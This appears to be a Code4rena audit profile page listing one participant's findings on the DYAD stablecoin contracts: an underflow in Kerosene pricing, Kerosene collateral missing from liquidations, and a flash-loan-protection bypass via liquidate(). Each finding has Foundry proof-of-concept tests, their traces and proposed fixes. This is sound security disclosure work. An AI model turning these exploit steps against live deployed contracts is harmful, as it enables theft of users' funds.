Platform: Code4rena
Start Date: 18/04/2024
Pot Size: $36,500 USDC
Total HM: 19
Participants: 183
Period: 7 days
Judge: Koolex
Id: 367
League: ETH
Rank: 8/183
Findings: 4
Award: $761.33
π Selected for report: 0
π Solo Findings: 0
π Selected for report: 0xAlix2
Also found by: 0x486776, 0xabhay, 0xlucky, 0xtankr, Abdessamed, Circolors, CodeWasp, DarkTower, Egis_Security, Giorgio, Infect3d, Krace, KupiaSec, Limbooo, Maroutis, NentoR, Ryonen, SpicyMeatball, T1MOH, TheFabled, TheSavageTeddy, TheSchnilch, VAD37, XDZIBECX, btk, carrotsmuggler, cu5t0mpeo, dimulski, gumgumzum, iamandreiski, imare, itsabinashb, ke1caM, kennedy1030, lian886, n4nika, oakcobalt, sashik_eth, shaflow2, steadyman, web3km, windhustler, zhaojohnson
3.8221 USDC - $3.82
If the total usd value of vaults in the kerosineManager is less than dyad.totalSupply(), UnboundedKerosineVault::assetPrice()
will revert because Underflow error.
function assetPrice() public view override returns (uint) { uint tvl; address[] memory vaults = kerosineManager.getVaults(); uint numberOfVaults = vaults.length; for (uint i = 0; i < numberOfVaults; i++) { Vault vault = Vault(vaults[i]); tvl += vault.asset().balanceOf(address(vault)) * vault.assetPrice() * 1e18 / (10**vault.asset().decimals()) / (10**vault.oracle().decimals()); } @> uint numerator = tvl - dyad.totalSupply(); uint denominator = kerosineDenominator.denominator(); return numerator * 1e8 / denominator; }
The functions call chain is collatRatio()->getTotalUsdValue()->getKeroseneValue()->keroseneVault.getUsdValue(id)->UnboundedKerosineVault::assetPrice()
While the function collatRatio()
is called by the functions withdraw()
, mintDyad()
, liquidate()
. Calling these functions will revert too.
There are two scenarios that could lead to this situation.
add this test function below in test/fork/v2.t.sol
,
then run forge test --mt testUnboundedcallAssetPriceFailed --fork-url $(MAINNET_RPC) --fork-block-number 19621640 -vvv
in terminal
function testUnboundedcallAssetPriceFailed() public{ contracts.unboundedKerosineVault.assetPrice(); }
**Because there are vaults in vaultsManager V1,not be added in kerosineManager Then we will get:
Ran 1 test for test/fork/v2.t.sol:V2Test [FAIL. Reason: panic: arithmetic underflow or overflow (0x11)] testUnboundedcallAssetPriceFailed() (gas: 128356) Traces: [128356] V2Test::testUnboundedcallAssetPriceFailed() ββ [123328] UnboundedKerosineVault::assetPrice() [staticcall] β ββ [7342] KerosineManager::getVaults() [staticcall] β β ββ β [0xBb2180ebd78ce97360503434eD37fcf4a1Df61c3, 0xDB8cFf278adCCF9E9b5da745B44E754fC4EE3C76] β ββ [249] Vault::oracle() [staticcall] β β ββ β 0x5f4eC3Df9cbd43714FE2740f5E3616155c5b8419 β ββ [5595] 0x5f4eC3Df9cbd43714FE2740f5E3616155c5b8419::decimals() [staticcall] β β ββ [253] 0xE62B71cf983019BFf55bC83B48601ce8419650CC::decimals() [staticcall] β β β ββ β 8 β β ββ β 8 β ββ [250] Vault::asset() [staticcall] β β ββ β 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2 β ββ [2444] 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2::decimals() [staticcall] β β ββ β 18 β ββ [12246] Vault::assetPrice() [staticcall] β β ββ [11235] 0x5f4eC3Df9cbd43714FE2740f5E3616155c5b8419::latestRoundData() [staticcall] β β β ββ [7502] 0xE62B71cf983019BFf55bC83B48601ce8419650CC::latestRoundData() [staticcall] β β β β ββ β 14985 [1.498e4], 350326000000 [3.503e11], 1712706935 [1.712e9], 1712706935 [1.712e9], 14985 [1.498e4] β β β ββ β 110680464442257324681 [1.106e20], 350326000000 [3.503e11], 1712706935 [1.712e9], 1712706935 [1.712e9], 110680464442257324681 [1.106e20] β β ββ β 350326000000 [3.503e11] β ββ [250] Vault::asset() [staticcall] β β ββ β 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2 β ββ [2534] 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2::balanceOf(Vault: [0xBb2180ebd78ce97360503434eD37fcf4a1Df61c3]) [staticcall] β β ββ β 0 β ββ [249] VaultWstEth::oracle() [staticcall] β β ββ β 0xCfE54B5cD566aB89272946F602D76Ea879CAb4a8 β ββ [5618] 0xCfE54B5cD566aB89272946F602D76Ea879CAb4a8::decimals() [staticcall] β β ββ [276] 0xdA31bc2B08F22AE24aeD5F6EB1E71E96867BA196::decimals() [staticcall] β β β ββ β 8 β β ββ β 8 β ββ [250] VaultWstEth::asset() [staticcall] β β ββ β 0x7f39C581F595B53c5cb19bD0b3f8dA6c935E2Ca0 β ββ [2336] 0x7f39C581F595B53c5cb19bD0b3f8dA6c935E2Ca0::decimals() [staticcall] β β ββ β 18 β ββ [49444] VaultWstEth::assetPrice() [staticcall] β β ββ [11143] 0xCfE54B5cD566aB89272946F602D76Ea879CAb4a8::latestRoundData() [staticcall] β β β ββ [7410] 0xdA31bc2B08F22AE24aeD5F6EB1E71E96867BA196::latestRoundData() [staticcall] β β β β ββ β 25552 [2.555e4], 350121402726 [3.501e11], 1712706647 [1.712e9], 1712706647 [1.712e9], 25552 [2.555e4] β β β ββ β 18446744073709577168 [1.844e19], 350121402726 [3.501e11], 1712706647 [1.712e9], 1712706647 [1.712e9], 18446744073709577168 [1.844e19] β β ββ [36801] 0x7f39C581F595B53c5cb19bD0b3f8dA6c935E2Ca0::stEthPerToken() [staticcall] β β β ββ [31547] 0xae7ab96520DE3A18E5e111B5EaAb095312D7fE84::getPooledEthByShares(1000000000000000000 [1e18]) [staticcall] β β β β ββ [8263] 0xb8FFC3Cd6e7Cf5a098A1c92F48009765B24088Dc::getApp(0xf1f3eb40f5bc1ad1344716ced8b8a0431d840b5783aea1fd01786bc26f35ac0f, 0x3ca7c3e38968823ccb4c78ea688df41356f182ae1d159e4ee608d30d68cef320) β β β β β ββ [2820] 0x2b33CF282f867A7FF693A66e11B0FcC5552e4425::getApp(0xf1f3eb40f5bc1ad1344716ced8b8a0431d840b5783aea1fd01786bc26f35ac0f, 0x3ca7c3e38968823ccb4c78ea688df41356f182ae1d159e4ee608d30d68cef320) [delegatecall] β β β β β β ββ β 0x00000000000000000000000017144556fd3424edc8fc8a4c940b2d04936d17eb β β β β β ββ β 0x00000000000000000000000017144556fd3424edc8fc8a4c940b2d04936d17eb β β β β ββ [12667] 0x17144556fd3424EDC8Fc8A4C940B2D04936d17eb::getPooledEthByShares(1000000000000000000 [1e18]) [delegatecall] β β β β β ββ β 0x0000000000000000000000000000000000000000000000001023f6947248e7b9 β β β β ββ β 0x0000000000000000000000000000000000000000000000001023f6947248e7b9 β β β ββ β 1163044246224693177 [1.163e18] β β ββ β 407206682920 [4.072e11] β ββ [250] VaultWstEth::asset() [staticcall] β β ββ β 0x7f39C581F595B53c5cb19bD0b3f8dA6c935E2Ca0 β ββ [2534] 0x7f39C581F595B53c5cb19bD0b3f8dA6c935E2Ca0::balanceOf(VaultWstEth: [0xDB8cFf278adCCF9E9b5da745B44E754fC4EE3C76]) [staticcall] β β ββ β 0 β ββ [2363] 0x305B58c5F6B5b6606fb13edD11FbDD5e532d5A26::totalSupply() [staticcall] β β ββ β 634442400000000000000000 [6.344e23] β ββ β panic: arithmetic underflow or overflow (0x11) ββ β panic: arithmetic underflow or overflow (0x11) Suite result: FAILED. 0 passed; 1 failed; 0 skipped; finished in 5.98ms (1.09ms CPU time) Ran 1 test suite in 2.59s (5.98ms CPU time): 0 tests passed, 1 failed, 0 skipped (1 total tests)
The sudden drop in the price of WETH, Assume The price of WETH dropped from 3000 to 1900. Add a new file named VaultManagerV2.t.sol in test Folder. Add the following content to the VaultManagerV2.t.sol file.
// SPDX-License-Identifier: MIT pragma solidity =0.8.17; import "forge-std/Test.sol"; import "forge-std/console.sol"; import {DeployBase, Contracts} from "../script/deploy/DeployBase.s.sol"; import {Parameters} from "../src/params/Parameters.sol"; import {DNft} from "../src/core/DNft.sol"; import {Dyad} from "../src/core/Dyad.sol"; import {Licenser} from "../src/core/Licenser.sol"; import {VaultManagerV2} from "../src/core/VaultManagerV2.sol"; import {Vault} from "../src/core/Vault.sol"; import {OracleMock} from "./OracleMock.sol"; import {ERC20Mock} from "./ERC20Mock.sol"; import {IAggregatorV3} from "../src/interfaces/IAggregatorV3.sol"; import {ERC20} from "@solmate/src/tokens/ERC20.sol"; import {KerosineManager} from "../src/core/KerosineManager.sol"; import {UnboundedKerosineVault} from "../src/core/Vault.kerosine.unbounded.sol"; import {BoundedKerosineVault} from "../src/core/Vault.kerosine.bounded.sol"; import {Kerosine} from "../src/staking/Kerosine.sol"; import {KerosineDenominator} from "../src/staking/KerosineDenominator.sol"; contract VaultManagerV2Test is Test, Parameters { DNft dNft; Licenser vaultManagerLicenser; Licenser vaultLicenser; Dyad dyad; VaultManagerV2 vaultManagerV2; // weth Vault wethVault; ERC20Mock weth; OracleMock wethOracle; //Kerosine Kerosine kerosine; UnboundedKerosineVault unboundedKerosineVault; KerosineManager kerosineManager; KerosineDenominator kerosineDenominator; //users address user1; address user2; function setUp() public { dNft = new DNft(); weth = new ERC20Mock("WETH-TEST", "WETHT"); wethOracle = new OracleMock(3000e8); vaultManagerLicenser = new Licenser(); vaultLicenser = new Licenser(); dyad = new Dyad(vaultManagerLicenser); //vault Manager V2 vaultManagerV2 = new VaultManagerV2( dNft, dyad, vaultLicenser ); //vault wethVault = new Vault( vaultManagerV2, ERC20(address(weth)), IAggregatorV3(address(wethOracle)) ); //kerosineManager kerosineManager = new KerosineManager(); kerosineManager.add(address(wethVault)); vaultManagerV2.setKeroseneManager(kerosineManager); //kerosine token kerosine = new Kerosine(); //Unbounded KerosineVault unboundedKerosineVault = new UnboundedKerosineVault( vaultManagerV2, kerosine, dyad, kerosineManager ); //kerosineDenominator kerosineDenominator = new KerosineDenominator( kerosine ); unboundedKerosineVault.setDenominator(kerosineDenominator); //Licenser add vault vaultLicenser.add(address(wethVault)); vaultLicenser.add(address(unboundedKerosineVault)); //vaultManagerLicenser add manager vaultManagerLicenser.add(address(vaultManagerV2)); //users user1 = makeAddr("user1"); user2 = makeAddr("user2"); } function testUnderflowInUnboundedKerosineVaultAssetPrice() public{ uint id = mintDNft(); //first price is 3000usd deposit(weth, id, address(wethVault), 1e18); //deposit kerosene vaultManagerV2.add(id, address(unboundedKerosineVault)); uint256 kerosene_amount = 1_000_000_000e18; kerosine.approve(address(vaultManagerV2), kerosene_amount); vaultManagerV2.deposit(id, address(unboundedKerosineVault), kerosene_amount); vaultManagerV2.mintDyad(id, 2000e18, user1); //assume price to 1900e8 wethOracle.setPrice(1900e8); unboundedKerosineVault.assetPrice(); } function mintDNft() public returns (uint) { return dNft.mintNft{value: 1 ether}(address(this)); } function deposit( ERC20Mock token, uint id, address vault, uint amount ) public { vaultManagerV2.add(id, vault); token.mint(address(this), amount); token.approve(address(vaultManagerV2), amount); vaultManagerV2.deposit(id, address(vault), amount); } receive() external payable {} function onERC721Received( address, address, uint256, bytes calldata ) external pure returns (bytes4) { return 0x150b7a02; } }
Then run forge test --mt testUnderflowInUnboundedKerosineVaultAssetPrice -vvv
, we will get:
ββ [9974] UnboundedKerosineVault::assetPrice() [staticcall] β ββ [1101] KerosineManager::getVaults() [staticcall] β β ββ β [0xA4AD4f68d0b91CFD19687c881e50f3A00242828c] β ββ [249] Vault::oracle() [staticcall] β β ββ β OracleMock: [0xF62849F9A0B5Bf2913b396098F7c7019b51A820a] β ββ [144] OracleMock::decimals() [staticcall] β β ββ β 8 β ββ [250] Vault::asset() [staticcall] β β ββ β ERC20Mock: [0x2e234DAe75C793f67A35089C9d99245E1C58470b] β ββ [271] ERC20Mock::decimals() [staticcall] β β ββ β 18 β ββ [1431] Vault::assetPrice() [staticcall] β β ββ [420] OracleMock::latestRoundData() [staticcall] β β β ββ β 1, 190000000000 [1.9e11], 1, 1, 1 β β ββ β 190000000000 [1.9e11] β ββ [250] Vault::asset() [staticcall] β β ββ β ERC20Mock: [0x2e234DAe75C793f67A35089C9d99245E1C58470b] β ββ [552] ERC20Mock::balanceOf(Vault: [0xA4AD4f68d0b91CFD19687c881e50f3A00242828c]) [staticcall] β β ββ β 1000000000000000000 [1e18] β ββ [363] Dyad::totalSupply() [staticcall] β β ββ β 2000000000000000000000 [2e21] β ββ β panic: arithmetic underflow or overflow (0x11) ββ β panic: arithmetic underflow or overflow (0x11) Suite result: FAILED. 0 passed; 1 failed; 0 skipped; finished in 2.46ms (604.54Β΅s CPU time)
Manual Review
function assetPrice() public view override returns (uint) { uint tvl; address[] memory vaults = kerosineManager.getVaults(); uint numberOfVaults = vaults.length; for (uint i = 0; i < numberOfVaults; i++) { Vault vault = Vault(vaults[i]); tvl += vault.asset().balanceOf(address(vault)) * vault.assetPrice() * 1e18 / (10**vault.asset().decimals()) / (10**vault.oracle().decimals()); } - uint numerator = tvl - dyad.totalSupply(); + uint numerator = tvl > dyad.totalSupply() ? tvl - dyad.totalSupply() : 0; uint denominator = kerosineDenominator.denominator(); return numerator * 1e8 / denominator; }
Under/Overflow
#0 - c4-pre-sort
2024-04-29T08:12:11Z
JustDravee marked the issue as duplicate of #224
#1 - c4-pre-sort
2024-04-29T09:04:13Z
JustDravee marked the issue as sufficient quality report
#2 - c4-judge
2024-05-08T08:31:52Z
koolexcrypto marked the issue as duplicate of #308
#3 - c4-judge
2024-05-11T20:08:48Z
koolexcrypto marked the issue as satisfactory
π Selected for report: 0xAlix2
Also found by: 0x175, 0x486776, 0xnev, 3docSec, 3th, Aamir, Abdessamed, AlexCzm, Angry_Mustache_Man, Circolors, DedOhWale, Emmanuel, Giorgio, Honour, Jorgect, KupiaSec, Maroutis, Myrault, SBSecurity, Stefanov, T1MOH, VAD37, Vasquez, adam-idarrha, alix40, ducanh2706, falconhoof, iamandreiski, ke1caM, kennedy1030, koo, lian886, ljj, miaowu, pontifex, sashik_eth, shikhar229169, vahdrak1
7.3026 USDC - $7.30
Only non-KEROSENE collateral are moved to liquidator in VaultManagerV2::liquidate()
, This results in the liquidator receiving less value than they should.
function liquidate( uint id, uint to ) external isValidDNft(id) isValidDNft(to) { uint cr = collatRatio(id); if (cr >= MIN_COLLATERIZATION_RATIO) revert CrTooHigh(); dyad.burn(id, msg.sender, dyad.mintedDyad(address(this), id)); uint cappedCr = cr < 1e18 ? 1e18 : cr; uint liquidationEquityShare = (cappedCr - 1e18).mulWadDown(LIQUIDATION_REWARD); uint liquidationAssetShare = (liquidationEquityShare + 1e18).divWadDown(cappedCr); uint numberOfVaults = vaults[id].length(); //there are only tokens in vaults to move @> for (uint i = 0; i < numberOfVaults; i++) { Vault vault = Vault(vaults[id].at(i)); uint collateral = vault.id2asset(id).mulWadUp(liquidationAssetShare); vault.move(id, to, collateral); } @> //missing Kerosene tokens in vaultsKerosene to move emit Liquidate(id, msg.sender, to); }
In collatRatio()
use the getTotalUsdValue()
which including NonKerosene collateral Usd Value and Kerosene collateral Usd Value to calculate. So if only non-KEROSENE collateral are moved to liquidator,This results in the liquidator receiving less value than they should.
Assume:
Alice has a DNft which id is 0, 1 Weth, 1 Billion kerosine.
liquidator has a DNft which id is 1, and 1 Weth. The price of Weth is 1000usd
// SPDX-License-Identifier: MIT pragma solidity =0.8.17; import "forge-std/Test.sol"; import "forge-std/console.sol"; import {DeployBase, Contracts} from "../script/deploy/DeployBase.s.sol"; import {Parameters} from "../src/params/Parameters.sol"; import {DNft} from "../src/core/DNft.sol"; import {Dyad} from "../src/core/Dyad.sol"; import {Licenser} from "../src/core/Licenser.sol"; import {VaultManagerV2} from "../src/core/VaultManagerV2.sol"; import {Vault} from "../src/core/Vault.sol"; import {OracleMock} from "./OracleMock.sol"; import {ERC20Mock} from "./ERC20Mock.sol"; import {IAggregatorV3} from "../src/interfaces/IAggregatorV3.sol"; import {ERC20} from "@solmate/src/tokens/ERC20.sol"; import {KerosineManager} from "../src/core/KerosineManager.sol"; import {UnboundedKerosineVault} from "../src/core/Vault.kerosine.unbounded.sol"; import {BoundedKerosineVault} from "../src/core/Vault.kerosine.bounded.sol"; import {Kerosine} from "../src/staking/Kerosine.sol"; import {KerosineDenominator} from "../src/staking/KerosineDenominator.sol"; contract VaultManagerV2Test is Test, Parameters { DNft dNft; Licenser vaultManagerLicenser; Licenser vaultLicenser; Dyad dyad; VaultManagerV2 vaultManagerV2; // weth Vault wethVault; ERC20Mock weth; OracleMock wethOracle; //Kerosine Kerosine kerosine; UnboundedKerosineVault unboundedKerosineVault; KerosineManager kerosineManager; KerosineDenominator kerosineDenominator; //users address user1; address user2; function setUp() public { dNft = new DNft(); weth = new ERC20Mock("WETH-TEST", "WETHT"); wethOracle = new OracleMock(3000e8); vaultManagerLicenser = new Licenser(); vaultLicenser = new Licenser(); dyad = new Dyad(vaultManagerLicenser); //vault Manager V2 vaultManagerV2 = new VaultManagerV2( dNft, dyad, vaultLicenser ); //vault wethVault = new Vault( vaultManagerV2, ERC20(address(weth)), IAggregatorV3(address(wethOracle)) ); //kerosineManager kerosineManager = new KerosineManager(); kerosineManager.add(address(wethVault)); vaultManagerV2.setKeroseneManager(kerosineManager); //kerosine token kerosine = new Kerosine(); //Unbounded KerosineVault unboundedKerosineVault = new UnboundedKerosineVault( vaultManagerV2, kerosine, dyad, kerosineManager ); //kerosineDenominator kerosineDenominator = new KerosineDenominator( kerosine ); unboundedKerosineVault.setDenominator(kerosineDenominator); //Licenser add vault vaultLicenser.add(address(wethVault)); vaultLicenser.add(address(unboundedKerosineVault)); //vaultManagerLicenser add manager vaultManagerLicenser.add(address(vaultManagerV2)); //users user1 = makeAddr("user1"); user2 = makeAddr("user2"); } //test liquid function testLiquidateLogicError() public { //firstly, assume weth price is 1000 usd wethOracle.setPrice(1000e8); //assume a user uint id = mintDNft(); uint cr = vaultManagerV2.collatRatio(id); assertEq(cr, type(uint).max); //deposit 1 weth deposit(weth, id, address(wethVault), 1e18); //deposit 1B kerosene vaultManagerV2.addKerosene(id, address(unboundedKerosineVault)); kerosine.approve(address(vaultManagerV2), 1000_000_000e18); vaultManagerV2.deposit(id, address(unboundedKerosineVault), 1000_000_000e18); //liquidator-Prepare for liquidator address liquidator = makeAddr("liquidator"); uint id_for_liquidator = mintDNft(); dNft.transferFrom(address(this), liquidator, id_for_liquidator); weth.mint(liquidator, 1e18); //liquidator deposit 1 weth vm.startPrank(liquidator); vaultManagerV2.add(id_for_liquidator, address(wethVault)); weth.approve(address(vaultManagerV2), 1e18); vaultManagerV2.deposit(id_for_liquidator, address(wethVault), 1e18); vm.stopPrank(); vaultManagerV2.mintDyad(id, 1000e18, address(this)); cr = vaultManagerV2.collatRatio(id); assertEq(cr, 2e18); //liquidator withdrow 0.6 eth vm.roll(block.number + 1); vm.prank(liquidator); vaultManagerV2.withdraw(id_for_liquidator, address(wethVault), 0.6e18, liquidator); cr = vaultManagerV2.collatRatio(id); //1.4e18 assertEq(cr, 1.4e18); assertLt(cr, vaultManagerV2.MIN_COLLATERIZATION_RATIO()); dyad.transfer(liquidator, 1000e18); uint256 wethVault_value_for_liquidator_before = wethVault.getUsdValue(id_for_liquidator); console.log("liquidator' usd value in wethVault before is", wethVault_value_for_liquidator_before); //liquidate vm.prank(liquidator); vaultManagerV2.liquidate(id, id_for_liquidator); uint256 wethVault_value_for_liquidator_after = wethVault.getUsdValue(id_for_liquidator); console.log("liquidator' usd value in wethVault after is", wethVault_value_for_liquidator_after); console.log("usd value get in liquidate action is:", wethVault_value_for_liquidator_after - wethVault_value_for_liquidator_before); assertLt(wethVault_value_for_liquidator_after - wethVault_value_for_liquidator_before, 1000e18); } function mintDNft() public returns (uint) { return dNft.mintNft{value: 1 ether}(address(this)); } function deposit( ERC20Mock token, uint id, address vault, uint amount ) public { vaultManagerV2.add(id, vault); token.mint(address(this), amount); token.approve(address(vaultManagerV2), amount); vaultManagerV2.deposit(id, address(vault), amount); } receive() external payable {} function onERC721Received( address, address, uint256, bytes calldata ) external pure returns (bytes4) { return 0x150b7a02; } }
Add a new file named VaultManagerV2.t.sol in test Folder.
Add the following content to the VaultManagerV2.t.sol file.
Then run forge test --mt testLiquidateLogicError -vv
, we will get:
Ran 1 test for test/VaultManagerV2.t.sol:VaultManagerV2Test [PASS] testLiquidateLogicError() (gas: 982520) Logs: liquidator' usd value in wethVault before is 400000000000000000000 liquidator' usd value in wethVault after is 1171428571428571428000 usd value get in liquidate action is: 771428571428571428000 Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 3.54ms (1.51ms CPU time)
Manual Review
Add KEROSENE collateral are moved to liquidator
function liquidate( uint id, uint to ) external isValidDNft(id) isValidDNft(to) { uint cr = collatRatio(id); if (cr >= MIN_COLLATERIZATION_RATIO) revert CrTooHigh(); dyad.burn(id, msg.sender, dyad.mintedDyad(address(this), id)); uint cappedCr = cr < 1e18 ? 1e18 : cr; uint liquidationEquityShare = (cappedCr - 1e18).mulWadDown(LIQUIDATION_REWARD); uint liquidationAssetShare = (liquidationEquityShare + 1e18).divWadDown(cappedCr); uint numberOfVaults = vaults[id].length(); for (uint i = 0; i < numberOfVaults; i++) { Vault vault = Vault(vaults[id].at(i)); uint collateral = vault.id2asset(id).mulWadUp(liquidationAssetShare); vault.move(id, to, collateral); } + numberOfVaults = vaultsKerosene[id].length(); + for (uint i = 0; i < numberOfVaults; i++) { + Vault vault = Vault(vaults[id].at(i)); + uint collateral = vault.id2asset(id).mulWadUp(liquidationAssetShare); + vault.move(id, to, collateral); + } emit Liquidate(id, msg.sender, to); }
Math
#0 - c4-pre-sort
2024-04-28T10:22:05Z
JustDravee marked the issue as duplicate of #128
#1 - c4-pre-sort
2024-04-29T09:07:08Z
JustDravee marked the issue as sufficient quality report
#2 - c4-judge
2024-05-11T19:43:07Z
koolexcrypto marked the issue as satisfactory
π Selected for report: carrotsmuggler
Also found by: Al-Qa-qa, Emmanuel, TheFabled, TheSavageTeddy, ZanyBonzy, adam-idarrha, alix40, lian886
746.4915 USDC - $746.49
https://github.com/code-423n4/2024-04-dyad/blob/cd48c684a58158de444b24854ffd8f07d046c31b/src/core/VaultManagerV2.sol#L119-L131 https://github.com/code-423n4/2024-04-dyad/blob/cd48c684a58158de444b24854ffd8f07d046c31b/src/core/VaultManagerV2.sol#L134-L153 https://github.com/code-423n4/2024-04-dyad/blob/cd48c684a58158de444b24854ffd8f07d046c31b/src/core/VaultManagerV2.sol#L225
Attacker Could still flash loan from DeFi Lending like Aave and Compound, deposit collateral token into vaults, mint a lot of Dyad token. Then manipulate the Kerosene price and the Dyad price.
The main reason is that in the liquidate()
function, it's possible to bypass the check idToBlockOfLastDeposit[id] == block.number
and transfer funds to another DNft ID.
function liquidate( uint id, uint to ) external isValidDNft(id) isValidDNft(to) { uint cr = collatRatio(id); if (cr >= MIN_COLLATERIZATION_RATIO) revert CrTooHigh(); dyad.burn(id, msg.sender, dyad.mintedDyad(address(this), id)); uint cappedCr = cr < 1e18 ? 1e18 : cr; uint liquidationEquityShare = (cappedCr - 1e18).mulWadDown(LIQUIDATION_REWARD); uint liquidationAssetShare = (liquidationEquityShare + 1e18).divWadDown(cappedCr); uint numberOfVaults = vaults[id].length(); for (uint i = 0; i < numberOfVaults; i++) { Vault vault = Vault(vaults[id].at(i)); uint collateral = vault.id2asset(id).mulWadUp(liquidationAssetShare); @> vault.move(id, to, collateral); } emit Liquidate(id, msg.sender, to); }
// SPDX-License-Identifier: MIT pragma solidity =0.8.17; import "forge-std/Test.sol"; import "forge-std/console.sol"; import {DeployBase, Contracts} from "../script/deploy/DeployBase.s.sol"; import {Parameters} from "../src/params/Parameters.sol"; import {DNft} from "../src/core/DNft.sol"; import {Dyad} from "../src/core/Dyad.sol"; import {Licenser} from "../src/core/Licenser.sol"; import {VaultManagerV2} from "../src/core/VaultManagerV2.sol"; import {Vault} from "../src/core/Vault.sol"; import {OracleMock} from "./OracleMock.sol"; import {ERC20Mock} from "./ERC20Mock.sol"; import {IAggregatorV3} from "../src/interfaces/IAggregatorV3.sol"; import {ERC20} from "@solmate/src/tokens/ERC20.sol"; import {KerosineManager} from "../src/core/KerosineManager.sol"; import {UnboundedKerosineVault} from "../src/core/Vault.kerosine.unbounded.sol"; import {BoundedKerosineVault} from "../src/core/Vault.kerosine.bounded.sol"; import {Kerosine} from "../src/staking/Kerosine.sol"; import {KerosineDenominator} from "../src/staking/KerosineDenominator.sol"; contract VaultManagerV2Test is Test, Parameters { DNft dNft; Licenser vaultManagerLicenser; Licenser vaultLicenser; Dyad dyad; VaultManagerV2 vaultManagerV2; // weth Vault wethVault; ERC20Mock weth; OracleMock wethOracle; //Kerosine Kerosine kerosine; UnboundedKerosineVault unboundedKerosineVault; KerosineManager kerosineManager; KerosineDenominator kerosineDenominator; //users address user1; address user2; function setUp() public { dNft = new DNft(); weth = new ERC20Mock("WETH-TEST", "WETHT"); wethOracle = new OracleMock(3000e8); vaultManagerLicenser = new Licenser(); vaultLicenser = new Licenser(); dyad = new Dyad(vaultManagerLicenser); //vault Manager V2 vaultManagerV2 = new VaultManagerV2( dNft, dyad, vaultLicenser ); //vault wethVault = new Vault( vaultManagerV2, ERC20(address(weth)), IAggregatorV3(address(wethOracle)) ); //kerosineManager kerosineManager = new KerosineManager(); kerosineManager.add(address(wethVault)); vaultManagerV2.setKeroseneManager(kerosineManager); //kerosine token kerosine = new Kerosine(); //Unbounded KerosineVault unboundedKerosineVault = new UnboundedKerosineVault( vaultManagerV2, kerosine, dyad, kerosineManager ); //kerosineDenominator kerosineDenominator = new KerosineDenominator( kerosine ); unboundedKerosineVault.setDenominator(kerosineDenominator); //Licenser add vault vaultLicenser.add(address(wethVault)); vaultLicenser.add(address(unboundedKerosineVault)); //vaultManagerLicenser add manager vaultManagerLicenser.add(address(vaultManagerV2)); } function testFlashLoanAttackUsingLiquidateSimulation() public{ wethOracle.setPrice(1000e8); //1 The attacker prepares two NFTs ,some collateral and some Kerosene Token. uint id = mintDNft(); uint id_for_liquidator = mintDNft(); weth.mint(address(this), 1e18); //2 deposit all the non-Kerosene collateral in the vault with One NFT like id=1 vaultManagerV2.add(id_for_liquidator, address(wethVault)); weth.approve(address(vaultManagerV2), 1e18); vaultManagerV2.deposit(id_for_liquidator, address(wethVault), 1e18); //3 In the next blocknumber, flashloan non-Kerosene collateral from Lending like Aave, vm.roll(block.number + 1); weth.mint(address(this), 1e18);//Simulation borrow 1 weth //deposit all the borrowed flashloan non-Kerosene collateral and Kerosene Token in the vault with One NFT like id=0 vaultManagerV2.add(id, address(wethVault)); weth.approve(address(vaultManagerV2), 1e18); vaultManagerV2.deposit(id, address(wethVault), 1e18); vaultManagerV2.addKerosene(id, address(unboundedKerosineVault)); kerosine.approve(address(vaultManagerV2), 1000_000_000e18); vaultManagerV2.deposit(id, address(unboundedKerosineVault), 1000_000_000e18); //Mint the max number Dyad you can vaultManagerV2.mintDyad(id, 1000e18, address(this)); uint256 cr = vaultManagerV2.collatRatio(id); //2e18 assertEq(cr, 2e18); //withdraw using id_for_liquidator, manipulate the Kerosene price vaultManagerV2.withdraw(id_for_liquidator, address(wethVault), 1e18, address(this)); cr = vaultManagerV2.collatRatio(id); //1e18 assertEq(cr, 1e18); //liquidate vaultManagerV2.liquidate(id, id_for_liquidator); //withdraw the vault which is move from id using id_for_liquidator vaultManagerV2.withdraw(id_for_liquidator, address(wethVault), 1e18, address(this)); console.log("weth balance is ", weth.balanceOf(address(this))/1e18); } function mintDNft() public returns (uint) { return dNft.mintNft{value: 1 ether}(address(this)); } function deposit( ERC20Mock token, uint id, address vault, uint amount ) public { vaultManagerV2.add(id, vault); token.mint(address(this), amount); token.approve(address(vaultManagerV2), amount); vaultManagerV2.deposit(id, address(vault), amount); } receive() external payable {} function onERC721Received( address, address, uint256, bytes calldata ) external pure returns (bytes4) { return 0x150b7a02; } }
Add a new file named VaultManagerV2.t.sol in test Folder.
Add the following content to the VaultManagerV2.t.sol file.
Then run forge test --mt testFlashLoanAttackUsingLiquidateSimulation -vv
, we will get:
Ran 1 test for test/VaultManagerV2.t.sol:VaultManagerV2Test [PASS] testFlashLoanAttackUsingLiquidateSimulation() (gas: 915045) Logs: weth balance is 2 Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 2.44ms (1.04ms CPU time)
It shows withdrawing the non-Kerosene collateral which is deposited the same blocknumber, breaking the flash loan protection
Manual Review
Add flash loan protection in liquidate()
function liquidate( uint id, uint to ) external isValidDNft(id) isValidDNft(to) { uint cr = collatRatio(id); if (cr >= MIN_COLLATERIZATION_RATIO) revert CrTooHigh(); + if (idToBlockOfLastDeposit[id] == block.number) revert DepositedInSameBlock(); dyad.burn(id, msg.sender, dyad.mintedDyad(address(this), id)); uint cappedCr = cr < 1e18 ? 1e18 : cr; uint liquidationEquityShare = (cappedCr - 1e18).mulWadDown(LIQUIDATION_REWARD); uint liquidationAssetShare = (liquidationEquityShare + 1e18).divWadDown(cappedCr); uint numberOfVaults = vaults[id].length(); for (uint i = 0; i < numberOfVaults; i++) { Vault vault = Vault(vaults[id].at(i)); uint collateral = vault.id2asset(id).mulWadUp(liquidationAssetShare); vault.move(id, to, collateral); } emit Liquidate(id, msg.sender, to); }
Invalid Validation
#0 - c4-pre-sort
2024-04-29T08:10:14Z
JustDravee marked the issue as duplicate of #68
#1 - c4-pre-sort
2024-04-29T09:06:23Z
JustDravee marked the issue as sufficient quality report
#2 - c4-judge
2024-05-05T13:25:36Z
koolexcrypto changed the severity to 2 (Med Risk)
#3 - c4-judge
2024-05-11T12:14:06Z
koolexcrypto marked the issue as satisfactory
#4 - c4-judge
2024-05-28T09:57:11Z
koolexcrypto changed the severity to 3 (High Risk)
π Selected for report: carrotsmuggler
